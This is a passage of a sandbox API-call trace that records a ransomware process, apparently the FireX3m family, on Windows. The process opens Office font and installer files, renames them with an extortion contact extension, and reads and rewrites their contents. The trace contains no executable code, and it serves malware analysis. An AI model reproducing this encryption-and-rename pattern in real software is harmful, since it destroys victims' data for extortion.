lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x75520cf*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.431] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.431] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.431] CloseHandle (hObject=0x410) returned 1 [0273.431] GetProcessHeap () returned 0x630000 [0273.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7546cd0 | out: hHeap=0x630000) returned 1 [0273.432] GetProcessHeap () returned 0x630000 [0273.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x753b8a0 | out: hHeap=0x630000) returned 1 [0273.436] GetProcessHeap () returned 0x630000 [0273.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0273.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\CAPSULES.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ed911e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe1de, dwReserved0=0xbd47496, dwReserved1=0x753b898, cFileName="CAPSULES.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAPSUL~1.FIR")) returned 0x6d53c0 [0273.436] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0273.436] Sleep (dwMilliseconds=0x1) [0275.614] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF", len=0x45 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF") returned 1 [0275.614] GetProcessHeap () returned 0x630000 [0275.614] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4af0) returned 0x6fe3bb0 [0275.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\playbill.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0275.637] CloseHandle (hObject=0x698) returned 1 [0275.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\playbill.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\playbill.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.638] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb454, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLAYBILL.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PLAYBI~1.FIR")) returned 0x6d5240 [0275.639] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0275.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PLAYBILL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\playbill.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0275.639] GetProcessHeap () returned 0x630000 [0275.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x747f1a0 [0275.639] GetProcessHeap () returned 0x630000 [0275.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x748a5d0 [0275.639] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.639] ReadFile (in: hFile=0x698, lpBuffer=0x747f1a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x747f1a0*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 63 os_tid = 0x12bc [0067.530] Sleep (dwMilliseconds=0x1) [0067.706] Sleep (dwMilliseconds=0x1) [0067.822] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.542] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.923] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.378] Sleep (dwMilliseconds=0x1) [0070.531] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.426] Sleep (dwMilliseconds=0x1) [0072.610] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.394] Sleep (dwMilliseconds=0x1) [0073.721] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.610] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.770] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.995] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.091] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.530] Sleep (dwMilliseconds=0x1) [0078.565] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.705] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.767] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.156] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.247] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.899] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.102] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.163] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.390] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.033] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.520] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.694] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.940] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.153] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.199] Sleep (dwMilliseconds=0x1) [0084.346] Sleep (dwMilliseconds=0x1) [0084.735] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.874] Sleep (dwMilliseconds=0x1) [0084.964] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.182] Sleep (dwMilliseconds=0x1) [0085.348] Sleep (dwMilliseconds=0x1) [0085.388] Sleep (dwMilliseconds=0x1) [0085.738] Sleep (dwMilliseconds=0x1) [0085.829] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0088.893] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\588bce7c90097ed212\\1043\\eula.rtf", len=0x23 | out: pbstr=0x50fff7c*="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 1 [0088.893] GetProcessHeap () returned 0x630000 [0088.893] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x18) returned 0x6b01f8 [0088.893] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0088.894] CloseHandle (hObject=0x6ac) returned 1 [0088.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.894] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.895] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0088.895] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0088.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0088.895] GetProcessHeap () returned 0x630000 [0088.895] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x6fed108 [0088.895] GetProcessHeap () returned 0x630000 [0088.895] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x6fedef8 [0088.896] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.896] ReadFile (in: hFile=0x6ac, lpBuffer=0x6fed108, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed108*, lpNumberOfBytesRead=0x50fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0088.944] GetProcessHeap () returned 0x630000 [0088.944] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0088.944] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.944] WriteFile (in: hFile=0x6ac, lpBuffer=0x6fedef8*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fedef8*, lpNumberOfBytesWritten=0x50fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0088.945] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.945] WriteFile (in: hFile=0x6ac, lpBuffer=0x6feecb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6feecb7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0088.945] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.945] WriteFile (in: hFile=0x6ac, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0088.945] CloseHandle (hObject=0x6ac) returned 1 [0088.946] GetProcessHeap () returned 0x630000 [0088.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedef8 | out: hHeap=0x630000) returned 1 [0088.946] GetProcessHeap () returned 0x630000 [0088.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fed108 | out: hHeap=0x630000) returned 1 [0088.946] GetProcessHeap () returned 0x630000 [0088.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0088.946] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.946] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfaf5c258, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0xa207496, dwReserved1=0x6fed100, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0088.946] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0088.946] Sleep (dwMilliseconds=0x1) [0090.213] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", len=0x2c | out: pbstr=0x50fff7c*="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 1 [0090.213] GetProcessHeap () returned 0x630000 [0090.213] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e93a0, Size=0x18) returned 0x6b0418 [0090.213] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 